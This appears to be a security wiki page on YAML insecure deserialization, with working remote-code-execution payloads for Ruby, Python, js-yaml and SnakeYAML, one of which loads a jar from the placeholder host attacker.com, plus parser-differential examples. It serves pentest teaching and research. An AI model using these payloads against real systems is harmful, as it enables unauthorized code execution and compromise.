YAML
Yet Another Markup Language
Description
First of all, this great article explains all sorts of tricks and weirdness in YAML:
Insecure Deserialization
In YAML the !
character can mean a tag, which allows you to execute a function in the host language with a parameter that comes right after (because why not). Many parsers implement this as it is required by the spec, but if attackers have control over the YAML file, even partially, they can use these tags to run arbitrary functions with arbitrary arguments.
A common target for this is a function that executes shell commands, where you can gain Remote Code Execution. The following examples all execute the id
command and allow you to execute any arbitrary commands:
Ruby
require "yaml"
YAML.load(File.read("data.yml"))
Payload (>2.7, source)
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "id"
method_id: :resolve
Python
from yaml import Loader, load
deserialized = load(open('data.yml'), Loader=Loader)
Payload
!!python/object/apply:os.system
- "id"
JavaScript - js-yaml
(<4.0)
js-yaml
(<4.0)This popular JavaScript library allows the creation of arbitrary functions like .toString()
which can be called accidentally, when using load()
instead of safeLoad()
in versions below 4:
const yaml = require('js-yaml');
const fs = require('fs');
const res = yaml.load(fs.readFileSync('data.yml'));
console.log(res + "") // Calls .toString() as trigger
Payloads
"toString": !<tag:yaml.org,2002:js/function> "function (){console.log(process.mainModule.require('child_process').execSync('id').toString())}"
toString: !!js/function >
function () {
console.log(process.mainModule.require('child_process').execSync('id').toString())
}
Java - SnakeYAML (<2.0)
import org.yaml.snakeyaml.Yaml;
Yaml yaml = new Yaml();
FileInputStream fis = new FileInputStream("data.yml");
Map<String, Object> parsed = yaml.load(fis);
Payload
some_var: !!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/payload.jar"]
]]
]
/payload.jar
file:
Explanation (search "remote jar file")
Proof of Concept with
build.sh
script (changeexec()
)
Parser differentials
The complex nature of YAML makes parsing it consistently a hard task. This results in slight differences between implementations that may confuse a check and a use. Below is an example that results in lang: ...
with 3 different values depending on which language's standard library parses it.
lang: Python
!!binary bGFuZw==: Go
!binary bGFuZw: Ruby
Another more extreme example that requires some specific features supports a lot more languages (by @taramtrampam):
!!binary bGFuZx==: ruby
!!binary lang: rust
!!binary bGFuZy==: node
alias-lang: &lang !!binary bGFuZz==
? *lang
: go
alias-lang2: !!str &lang2 lang
<<: [
{
? *lang2 : java,
},
]
!!merge qwerty: {lang: "python"}l
Watch "Parser Differentials - joernchen at OffensiveCon 2025" to learn more.
Last updated